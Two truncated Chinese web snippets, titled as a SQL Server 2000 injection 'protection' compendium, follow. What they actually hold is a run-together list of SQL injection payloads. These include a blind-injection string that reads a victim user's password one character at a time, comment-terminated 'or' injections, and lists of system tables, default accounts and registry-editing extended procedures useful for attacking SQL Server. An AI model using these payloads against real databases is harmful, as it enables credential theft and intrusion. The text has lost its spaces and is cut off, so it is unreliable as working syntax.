SQLServer2000注入防护大全(二)　　传统查询构造：select*FROMnewswhereid=...ANDtopic=...AND.....admin'and1=(selectcount(*)from[user]whereusername='victim'andright(left(userpass,01),1)='1')anduserpass<>'select123;--;usemaster;--:a'ornamelike'fff%';--显示有一个叫ffff的用户哈。'and1<>(selectcount(email)from[user]);--;up...

SQLServer2000注入防护大全(一)Sql注入早源于'or'1'='1最重要的表名：select*fromsysobjectssysobjectsncsysobjectssysindexestsysindexessyscolumnssystypessysuserssysdatabasessysxloginssysprocesses　　最重要的一些用户名（默认sql数据库中存在着的）publicdboguest(一般禁止，或者没权限)db_sercurityadminab_dlladmin　　一些默认扩展xp_regaddmultistringxp_regdeletekeyxp_regd...